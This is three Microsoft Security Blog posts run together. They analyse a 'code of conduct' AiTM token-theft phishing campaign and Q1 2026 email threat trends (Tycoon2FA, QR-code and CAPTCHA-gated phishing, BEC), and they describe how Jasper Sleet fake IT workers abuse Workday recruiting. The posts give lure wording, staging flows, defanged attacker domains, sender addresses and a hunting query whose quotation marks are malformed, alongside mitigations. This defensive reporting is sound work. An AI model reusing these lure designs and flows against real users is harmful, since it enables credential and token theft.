Phishing campaigns continue to improve sophistication and refinement in blending social engineering, delivery and hosting infrastructure, and authentication abuse to remain effective against evolving security controls. A large-scale credential theft campaign observed by Microsoft Defender Research exemplifies this trend, using code of conduct-themed lures, a multi-step attack chain, and legitimate email services to distribute fully authenticated messages from attacker-controlled domains.

The campaign targeted tens of thousands of users, primarily in the United States, and directed them through several stages of CAPTCHA and intermediate staging pages designed to reinforce legitimacy while filtering out automated defenses. The lures in this campaign used polished, enterprise-style HTML templates with structured layouts and preemptive authenticity statements, making them appear more credible than typical phishing emails and increasing their plausibility as legitimate internal communications. Because the messages contained concerning accusations and repeated time-bound action prompts, the campaign created a sense of urgency and pressure to act.  

The attack chain ultimately led to a legitimate sign-in experience that was part of an adversary‑in‑the‑middle (AiTM) phishing flow, which allowed the attackers to proxy the authentication session and capture authentication tokens that could provide immediate account access. Unlike traditional credential harvesting, AiTM attacks intercept authentication traffic in real time, bypassing non-phishing-resistant multifactor authentication (MFA).

In this blog, we’re sharing our analysis of this campaign’s lures, infrastructure, and techniques. Organizations can defend against financial fraud initiated through phishing emails by educating users about phishing lures, investing in advanced anti-phishing solutions like Microsoft Defender for Office 365 and configuring essential email security settings, and encouraging users to employ web browsers that support SmartScreen. Organizations can also enable network protection, which lets Windows use SmartScreen as a host-based web proxy.

Multi-step social engineering campaign leading to credential theft

Between April 14 and 16, 2026, the Microsoft Defender Research team observed a series of sophisticated phishing campaigns targeting more than 35,000 users across over 13,000 organizations in 26 countries, with majority of targets located in the United States (92%). The campaign did not focus on a single vertical but instead impacted a broad range of industries, most notably Healthcare & life sciences (19%), Financial services (18%), Professional services (11%), and Technology & software (11%). Messages were distributed in multiple distinct waves between 06:51 UTC on April 14 and 03:54 UTC on April 16. 

Emails in this campaign posed as internal compliance or regulatory communications, using display names such as “Internal Regulatory COC”, “Workforce Communications”, and “Team Conduct Report”. Subject lines included “Internal case log issued under conduct policy” and “Reminder: employer opened a non-compliance case log”.

Message bodies claimed that a “code of conduct review” had been initiated, referenced organization-specific names embedded within the text, and instructed recipients to “open the personalized attachment” to review case materials. At the top of each message, a notice stated that the message had been “issued through an authorized internal channel” and that links and attachments had been “reviewed and approved for secure access”, reinforcing the email’s purported legitimacy. To further support the confidentiality of the supposed review, the end of each message contained a green banner stating that the contents had been encrypted using Paubox, a legitimate service associated with HIPAA-compliant communications.

Analysis of the sending infrastructure indicated that the campaign emails were sent using a legitime email delivery service, likely originating from a cloud-hosted Windows virtual machine. The messages were sent from multiple sender addresses using domains that are likely attacker-controlled.

Each campaign email included a PDF attachment with filenames such as Awareness Case Log File – Tuesday 14th, April 2026.pdf and Disciplinary Action – Employee Device Handling Case.pdf. The attachment provided additional context about the supposed conduct review, including a summary of the review process and instructions for accessing supporting documentation. Recipients were directed to click a “Review Case Materials” link within the PDF, which initiated the credential harvesting flow.

When clicked, users were initially directed to one of two attacker-controlled domains (for example, acceptable-use-policy-calendly[.]de or compliance-protectionoutlook[.]de). These landing pages displayed a Cloudflare CAPTCHA, presented as a mechanism to validate that the user was coming “from a valid session”. This CAPTCHA likely served as a gating mechanism to impede automated analysis and sandbox detonation. 

After completing the CAPTCHA, users were redirected to an intermediate site designed to prepare them for the final stage of the attack. This page informed users that the requested documentation was encrypted and required account authentication. While this stage of the attack has several hallmarks of device code phishing, we were only able to confirm the AITM portion of the attack chain.

After clicking the provided “Review & Sign” button, users were presented with a sign-in prompt requesting their email address.

After submission, users were required to complete a second CAPTCHA involving image selection.

Once these steps were completed, users were shown a message indicating that verification was successful and that their “case” was being prepared.

Following these steps, users were redirected to a third site hosting the final stage of the attack. Analysis of the underlying code indicates that the final destination varied depending on whether the user accessed the workflow from a mobile device or a desktop system.

On the final page, users were informed that all materials related to their code of conduct review had been “securely logged”, “time-stamped”, and “maintained within the organization’s centralized compliance tracking system”. They were then prompted to schedule a time to discuss the case, which required signing in to their account.

Selecting the “Sign in with Microsoft” option redirected users to a Microsoft authentication page, initiating an AiTM session hijacking flow designed to capture authentication tokens and compromise user accounts.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for multifactor authentication (MFA). Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Adversary-in-the-middle credential phishing
• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Campaign emails by sender address

The following query identifies emails associated with this campaign using a message’s sending email address.

EmailEvents
| where SenderMailFromAddress in (" cocpostmaster@cocinternal.com "," nationaladmin@gadellinet.com ","
nationalintegrity@harteprn.com”,” m365premiumcommunications@cocinternal.com”,” documentviewer@na.businesshellosign.de”)

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

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The post Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise appeared first on Microsoft Security Blog.

During the first quarter of 2026 (January-March), Microsoft Threat Intelligence detected approximately 8.3 billion email-based phishing threats, with monthly volumes declining slightly from 2.9 billion in January to 2.6 billion in March. By the end of the quarter, QR code phishing emerged as the fastest-growing attack vector, more than doubling over the period, while CAPTCHA-gated phishing evolved rapidly across payload types. Overall, 78% of email threats were link-based, while malicious payloads accounted for 19% of attacks in January—boosted by large HTML and ZIP campaigns—before settling at 13% in both February and March. Credential phishing remained the dominant objective behind malicious payloads throughout the quarter. This shift toward link-based delivery, combined with the payload trends, suggests that threat actors increasingly preferred hosted credential phishing infrastructure over locally-rendered payloads as the quarter progressed.

This blog provides a view of email threat activity across the first quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code phishing, CAPTCHA evasion tactics, malicious payloads, and BEC activity, analyze how disruption efforts and infrastructure changes influenced threat actor operations, and provide recommendations and Microsoft Defender detections to help mitigate these threats. By bringing these trends together, this blog can help defenders understand how email-based attacks are evolving and where to focus detection, mitigation, and user protection strategies.

Tycoon2FA disruption impact

Since its emergence in August 2023, Tycoon2FA has rapidly become one of the most widespread PhaaS platforms, leveraging adversary-in-the-middle (AiTM) techniques to attempt to defeat non-phishing-resistant multifactor authentication (MFA) defenses. The group behind the PhaaS platform (tracked by Microsoft Threat Intelligence as Storm-1747) leases malicious infrastructure and sells phishing kits that impersonate various enterprise application sign-in pages and incorporate evasion tactics, such as fake CAPTCHA pages.

The quarter began with Tycoon2FA in a period of reduced activity. January volumes represented a 54% decline from December 2025, marking the second consecutive month of sharp decreases. While post-holiday seasonal effects may have contributed to this decrease in volume, some of the reduction might also have been the result of Microsoft’s Digital Crimes Unit disruption of RedVDS, a service used by many Tycoon2FA customers to distribute malicious email campaigns.

After surging 44% in February, phishing attacks pointing to Tycoon2FA fell 15% in March driven largely by the effects of a coordinated disruption operation. In early March 2026, Microsoft’s Digital Crimes Unit, in coordination with Europol and industry partners, took action to disrupt Tycoon2FA’s infrastructure and operations, significantly impairing the platform’s hosting capabilities. While Tycoon2FA-linked messages continued to circulate after the disruption, almost one-third of March’s total volume was concentrated in a three-day period early in the month; daily volumes for the remainder of March were notably lower than historical averages, and targets’ ability to reach active phishing pages was substantially reduced.

Tycoon2FA’s infrastructure composition evolved multiple times during the first three months of 2026. In January, Tycoon2FA domains started shifting toward newer generic top-level domains (TLDs) such as .DIGITAL, .BUSINESS, .CONTRACTORS, .CEO, and .COMPANY, moving away from previous commonly used TLDs or second-level domains like .SA.COM, .RU, and .ES. This trend became even more well-established in February. Following the March disruption, however, Microsoft Threat Intelligence observed a notable increase in Tycoon2FA domains with .RU registrations, with more than 41% of all Tycoon2FA domains using a .RU TLD since the last week of March.

Additionally, toward the end of March, we saw Tycoon2FA moving away from Cloudflare as a hosting service and now hosts most of its domains across a variety of alternative platforms, suggesting the group is attempting to find replacement services that offer comparable anti-analysis protections.  

QR code phishing attacks

In recent years, QR codes have rapidly emerged as a preferred tool among phishing threat actors seeking to bypass traditional email defenses. By embedding malicious URLs within image-based QR codes in the body of an email or within the contents of an attachment, threat actors attempt to exploit the limitations of text-based scanning engines and redirect victims to phishing sites on unmanaged mobile devices.

The most significant shift in Q1 2026 was the rapid escalation of QR code phishing, with attack volumes increasing from 7.6 million in January to 18.7 million in March, a 146% increase over the quarter. After an initial 35% decline in January (continuing a late-2025 downtrend), volumes reversed course dramatically, growing 59% in February and another 55% in March. By the end of the quarter, QR code phishing had reached its highest monthly volume in at least a year.

PDF attachments were the dominant delivery method throughout the quarter, growing from 65% of QR code attacks in January to 70% in March. While the overall volume of DOC/DOCX payloads containing malicious QR codes steadily increased each month, their share of overall delivery payloads decreased from 31% in January to 24% in March. A notable late-quarter development was the emergence of QR codes embedded directly in email bodies, which surged 336% in March. While still a small share of total volume (5%), this approach eliminates the need for an attachment altogether and highlights a shift in threat actor delivery methods that defenders should continue to monitor.

CAPTCHA tactics

Threat actors use CAPTCHA pages to delay detection and increase user interaction. These pages function as a visual decoy, giving the appearance of a legitimate security check while concealing a transition to malicious content. By forcing users to engage with the CAPTCHA before accessing the payload, threat actors reduce the likelihood of automated scanning tools identifying the threat and increase the chances of successful credential harvesting or malware delivery. Additionally, fake CAPTCHAs are used in ClickFix attacks to trick users into copying and executing malicious commands under the guise of human verification, allowing malware to bypass conventional security controls.

After declining in both January (-45%) and February (-8%), CAPTCHA-gated phishing volumes exploded in March, more than doubling (+125%) to 11.9 million attacks, the highest volume observed over the last year.

The most notable aspect of Q1 CAPTCHA trends was the rapid rotation of delivery methods, as threat actors appeared to actively experiment with which payload formats most effectively evade email defenses:

• HTML attachments started the year as the most common method to deliver CAPTCHA-gated phishing (37% in January), but dropped 34% in February, hitting its lowest monthly volume since August 2025. Although their volume more than doubled in March, hitting an annual monthly high, HTML files were still only the second-most common delivery method to close the quarter.

• SVG files, which had seen consecutive months of decreasing volumes, grew by 49% in February at the same time nearly every other delivery payload type decreased. Because of this, it was the most common delivery method for the month, which had not happened since November 2025. This one-month spike reversed itself in March, however, and the number of SVG files delivering CAPTCHA-gated phish fell by 57%, accounting for just 7% of delivery payloads.
• PDF files saw a meteoric rise in volume during the first quarter of the year. After seeing steady month-over-month declines since July 2025, and hitting an annual monthly low point in January 2026, the number of PDF attachments leading to CAPTCHA-gated phishing sites more than quadrupled in March (+356%). Not only did it retake its spot as the most common delivery method for these attacks since last July, but it eclipsed its annual high by more than 37%.
• DOC/DOCX files, which didn’t make up more than 9% of CAPTCHA-gated phishing payloads over the previous nine months, increased almost five times (+373%) in March to account for 15% of payloads.
• Email-embedded URLs, which had once delivered more than half of CAPTCHA-gated phish at the end of August 2025, hit an eight-month low after falling 85% between December and February. While their volume nearly doubled in March, they remained well below late-2025 levels.

Another notable shift in CAPTCHA-gated phishing attacks was the erosion of Tycoon2FA’s impact on the landscape. At the end of 2025, more than three-quarters of CAPTCHA-gated phishing sites were hosted on Tycoon2FA infrastructure. This share decreased significantly over the course of the first three months of 2026, falling to just 41% in March. This broadening of CAPTCHA-gated phishing sites being used by an increasing number of threat actors and phishing kits, combined with the overall surge in volume, indicates that this technique is becoming a more entrenched component of the phishing playbook rather than a specialty of a small number of tools.

Three-day campaign delivers CAPTCHA-gated phishing content using malicious SVG attachments

Between February 23 and February 25, 2026, a large, sustained campaign sent more than 1.2 million messages to users at more than 53,000 organizations in 23 countries. Messages in the campaign included a number of different themes, including an important 401K update, a credit hold warning, a question about a received payment, a payment request for a past due invoice, and a voice message notification.

Many of the messages contained a fake confidentiality disclaimer to enhance the credibility of the messages and provide a proactive excuse about why a recipient may have mistakenly received an email that may not be applicable to them.

Attached to each message was an SVG file that was named to appropriately match the theme of the email. All the file names included a Base64-encoded version of the recipient’s email address. Example of file names used in the campaign include the following:

• <Recipient Email Domain>_statements_inv_<Base64-encoded Email Address>.svg
• 401K_copy_<Recipient Name>_<Base64-encoded Email Address>_241.svg
• Check_2408_Payment_Copy_<Recipient First Name>_<Base64-encoded Email Address>_241.svg
• INV#_1709612175_<Base64-encoded Email Address>.svg
• Listen_(<Base64-encoded Email Address>).svg
• PLAY_AUDIO_MESSAGE__<Recipient Name>_<Base64-encoded Email Address>_241.svg

If an attached SVG file was opened, the user’s browser would open locally and fetch content from one of the three following hostnames:

• bouleversement.niovapahrm[.]com
• haematogenesis.hvishay[.]com
• ubiquitarianism.drilto[.]com

Initially, the user would be shown a “security check” CAPTCHA. Once the CAPTCHA had been successfully completed, the user would then be shown a fake sign-in page used to compromise their account credentials.

Malicious payloads

Credential phishing tightened its grip on the malicious payload landscape across Q1, growing from 89% of all payload-based attacks in January to 95% in February before settling at 94% in March. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery continued its long-term decline, representing just 5–6% of payloads by the end of the quarter.

The most striking payload trend was the volatility across file types, driven by large campaigns that created dramatic week-to-week swings:

• HTML attachments started Q1 as the leading file type (37% of payloads in January), fell to an annual low in February (-57%), then nearly tripled in March (+175%). This volatility was largely campaign-driven, with concentrated activity in the first half of January and the third week of March.
• Malicious PDFs followed a steady upward trajectory, increasing 38% in February and another 50% in March to reach their highest monthly volume in over a year. By March, PDFs accounted for 29% of payloads, up from 19% in January.
• ZIP/GZIP attachments were similarly volatile by nearly doubling in January (+94%), dropping 38% in February, then surging 79% in March. Threat actors commonly use ZIP files to circumvent Mark of the Web (MOTW) protections.
• SVG files emerged briefly in February as a notable delivery method (with a 50% volume increase) before declining 32% in March, mirroring the pattern seen in CAPTCHA-gated phishing.

Large-scale HTML phishing campaign hosts content on multiple PhaaS infrastructures

On March 17, 2026, Microsoft Threat Intelligence observed a massive phishing campaign that drove a significant surge in malicious HTML attachments during the month. The campaign involved more than 1.5 million confirmed malicious messages sent to over 179,000 organizations across 43 countries, accounting for approximately 7% of all malicious HTML attachments observed in March.

All messages in this campaign were likely sent using the same tool or service, which exhibited several distinct and highly consistent characteristics. Most notably, sender addresses across the campaign featured excessively long, keyword‑stuffed usernames that embedded URLs, tracking identifiers, and service references. These usernames were crafted to resemble legitimate transactional, billing, or document‑related notification senders. Examples of observed sender usernames include:

• eReceipt_Payment_Alert_Noreply-/m939k6d7.r.us-west-2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29-ab5789bd-1426-4800-ae7d-877ea7f61d24-000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-qq8m2tzd
• Center-=AAP1eU7NKykAABXNznVa8w___listenerId=AAP1eU7NKykAABXNznVa8w___aw_0_device.player_name=Chrome___aw_0_ivt.result=unknown___cbs=9901711___aw_0_azn.zposition=%5B%22undefined%22%5D___us_privacy=___aw_0_app.name=Second+Screen___externalClickUrl=otdk-takaki-h
• DocExchange_Noreply-m939k6d7.r.us_west_2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29ab5789bd14264800ae7d877ea7f61d24000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-angie

The emails themselves contained little to no message body content. While subject lines varied, they consistently impersonated routine business and workflow notifications, including payment and remittance alerts (for example, Automated Clearing House (ACH), Electronic Funds Transfer (EFT), wire), invoice or aging statements, and e‑signature or document delivery requests. These subjects relied on urgency, approval language, and transactional framing to prompt recipients to review, sign, or access an attached document.

Each message included an HTML attachment with a file name aligned to the email’s theme. When opened, the HTML file launched locally on the recipient’s device and immediately redirected the user to an initial external staging page. This page performed basic screening and then redirected the user to a secondary landing page hosting the phishing content. On the final landing page, users were presented with a CAPTCHA challenge before being directed to a fraudulent sign‑in page designed to harvest account credentials.

Interestingly, although messages in this campaign shared common tooling, structure, and delivery characteristics, the infrastructure hosting the final phishing payload was linked to multiple different PhaaS providers. Most observed phishing endpoints were associated with Tycoon2FA, while additional activity was linked to Kratos (formerly Sneaky2FA) and EvilTokens infrastructure.

Business email compromise

Microsoft defines business email compromise (BEC) as a text-based attack targeting enterprise users that impersonates a trusted entity for the purpose of persuading a recipient into initiating a fraudulent financial transaction or sending the threat actor sensitive documents. These attacks fluctuated across Q1, totaling approximately 10.7 million attacks: rising 24% in January, dipping 8% in February, then surging 26% in March.

The composition of BEC attacks remained consistent throughout Q1. Generic outreach messages (like “Are you at your desk?”) accounted for 82–84% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 9–10%. This pattern underscores that BEC operators overwhelmingly favor establishing a conversational rapport before making fraudulent requests, rather than leading with direct financial asks.

Within the smaller subset of explicit financial requests, two sub-categories showed notable movement. Payroll update requests grew 15% in February, reaching their highest volume in eight months, potentially reflecting tax season-related social engineering. Gift card requests fell 37% in February to their lowest level since July before rebounding sharply in March (+108%), though they still represented less than 3% of overall BEC messages. These fluctuations suggest that BEC operators adjust their specific financial pretexts seasonally while maintaining a consistent overall approach.

Defending against email threats

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

• Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• Email messages containing malicious URL removed after delivery
• Email messages removed after delivery
• Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Activity Profile: Email threat landscape, March 2026
• Activity Profile: Email threat landscape, February 2026
• Activity Profile: Email threat landscape, January 2026
• Tool Profile: Tycoon2FA
• Actor Profile: Storm-1747
• Technique Profile: QR code phishing
• Technique Profile: ClickFix technique leverages clipboard to run malicious commands
• Threat Overview Profile: Business Email Compromise
• Threat Overview Profile: Adversary-in-the-middle credential phishing

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Email threat landscape: Q1 2026 trends and insights appeared first on Microsoft Security Blog.

The shift to remote and hybrid work since the pandemic expanded global hiring and accelerated digital onboarding, increasing reliance on online identity verification and remote access. Threat actors such as Jasper Sleet, a North Korea-aligned threat actor, exploit this model by posing as legitimate hires using stolen or fabricated identities and AI-assisted deception to gain trusted access, generate revenue, and in some cases enable data theft, extortion, or follow-on compromise.

In the initial job-discovery phase, these fraudulent applicants posing as remote IT workers systematically survey organization career sites and external hiring portals to identify active technical roles and recruitment workflows. A previously published Microsoft Threat Intelligence blog highlights how these actors use generative AI at scale to analyze job postings and extract role‑specific language, required skills, certifications, and tooling expectations. They then use those insights to construct tailored fake digital personas and submit highly convincing job applications, increasing their likelihood of passing screening and entering legitimate hiring pipelines, and even onboarding once hired into the targeted roles successfully.

Organizations using common and widely adopted human resources (HR) software as a service (SaaS) platforms like Workday often expose their job postings through external career sites for applicants to submit job applications. These job listing sites are often targeted by this threat actor to find open job roles. While this activity might be hard to detect from usual job hunting behavior, knowing the threat actor’s interests and objectives to infiltrate into the target organization might present an opportunity for defenders to look for anomalous patterns in a hiring candidate’s behaviors by leveraging the access to the right telemetry and available threat actor intelligence being published.

While these activities could happen on any HR SaaS platform, this blog focuses on Workday as an example due to its widespread adoption and rich event logs, which are useful for hunting and detection, that are available to customers. The discussion highlights how customers using Microsoft Defender for Cloud Apps can monitor and detect fraudulent remote IT worker activity in pre-recruitment and post-recruitment phases, offering guidance on threat hunting and relevant threat detection strategies to help security and HR teams surface suspicious candidates early and detect risky onboarding activity after hire.

Attack chain overview

In the observed campaigns, the threat actors leverage routine HR workflows like external-facing career sites with open job postings to help with their job search and application process. Once they’re successfully contacted, interviewed, and hired, they complete typical new-hire onboarding formalities like setting up payroll accounts, which are also through the HR SaaS platform like Workday.

Activities in pre-recruitment phase

In the pre-recruitment phase, Microsoft has observed Jasper Sleet accessing Workday Recruiting Web Service endpoints exposed through external career sites from known actor infrastructure and email accounts, indicating a discovery phase of open roles and recruitment workflows.

Workday lets organizations use internal, non-public APIs such as Recruiting Web Service to allow programmatic access to apply for jobs in these organizations. These APIs are used to connect to external career sites involved in talent management and applicant tracking systems and allow applicants to browse and apply for open job roles. To access these APIs, an organization has to allow setting up of OAuth clients and associated OAuth tokens, and expose the APIs so that the organization’s external career sites can use them.

Microsoft has observed API call events coming from known Jasper Sleet infrastructure in Workday telemetry to hrrecruiting/* API endpoints. These events access information about job postings, applications, and related questionnaires, and to submit job applications and questionnaires.

Some common API calls being made by the threat actor’s activity when using the Workday portal include the following:

• hrrecruiting/accounts/*
• hrrecruiting/jobApplicationPackages/*
• hrrecruiting/validateJobApplication/*
• hrrecruiting/resumes/*

It’s important to note here that these API calls could also be made by legitimate job applicants. However, Microsoft has observed the Jasper Sleet threat actor using multiple external accounts suspiciously to access the same set of API calls in a consistent, repeating pattern, as shown in Figure 2, indicating a possible job discovery phase activity on open job roles and following up on job applications submitted. This anomaly sets the threat actor behavior apart from legitimate job applicants.

Defender for Cloud Apps’ Workday connector enables organizations to view and track API activity to their /hrrecruiting endpoints. The connector also lets them identify external accounts and their corresponding infrastructure metadata. Organizations can match this information against any available threat intelligence feeds on Jasper Sleet so they can identify fraudulent applications early in the recruiting process.

Activities in recruiting phase

In the recruiting phase, signals outside of Workday could help with investigation of threat actor behavior. The threat actor communicates with the target organization’s hiring team using emails and meeting conferencing platforms like Microsoft Teams, Zoom, or Cisco Webex for scheduling interviews. Using advanced hunting tables in Microsoft Defender, organizations can track suspicious communications (for example, email and Teams messages with external accounts originating from suspicious IP addresses or email addresses that could possibly be associated with the threat actor) and raise a red flag early in the hiring process. Additionally, organizations that use Zoom or Cisco Webex must leverage Defender for Cloud Apps’ Zoom or Cisco Webex connectors to detect malicious external accounts in the interviewing process.

Organizations can also leverage Defender for Cloud Apps’ DocuSign connector, which enables them to monitor activity related to hiring documentation, like offer letter signing from suspicious external sources.

Activities in post-recruitment phase

When Jasper Sleet is hired for a role in the organization, a legitimate account is created and assigned to them as part of the onboarding process. In organizations that use HR workflows in Workday for onboarding new hires, we’ve observed sign-ins to the newly created Workday profile and setting up of payroll details originating from known Jasper Sleet infrastructure.

The threat actor now has legitimate access to organization data, and they can access internal SaaS applications like Teams, SharePoint, OneDrive, and Exchange Online. Hence, it’s important to investigate any alerts associated with new hire accounts, especially alerts that are related to access to organization data from different locations and anonymous proxies performing search and downloads on Microsoft 365 suite or other third-party SaaS applications. Microsoft has observed a spike in impossible travel alerts for such new hires, indicating suspicious remote IT worker behavior in the initial months of onboarding.

Mitigation and protection guidance

Microsoft recommends leveraging access to telemetry coming from multiple data sources and monitoring behavioral anomalies in hiring candidates as part of background verification in HR recruitment processes. Organizations can also leverage threat intelligence as an aid, when available, to strengthen confidence in these anomalies.

These recommendations draw from established Defender blog guidance patterns and align with protections offered across Microsoft Defender XDR. 

Organizations can follow these recommendations to mitigate threats associated with this threat actor:      

Enable connectors in Microsoft Defender for Cloud Apps to gain visibility and track activity from external user accounts associated with fraudulent candidates. Investigate events of both external users and newly hired internal users originating from malicious infrastructure. For more information, see the following articles in Microsoft Learn:

• How Defender for Cloud Apps helps protect your Workday environment
• How Defender for Cloud Apps helps protect your DocuSign environment
• How Defender for Cloud Apps helps protect your Cisco Webex environment
• Connect Zoom to Microsoft Defender for Cloud Apps (Preview)

Educate users on social engineering. Train employees to recognize suspicious behaviors during hiring process and in new hires. For more information on the threat actor behavior, read this blog: Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Jasper Sleet

